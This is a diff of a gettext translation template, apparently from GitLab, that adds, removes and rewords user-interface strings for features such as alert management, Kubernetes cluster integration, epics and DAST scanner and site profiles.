@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
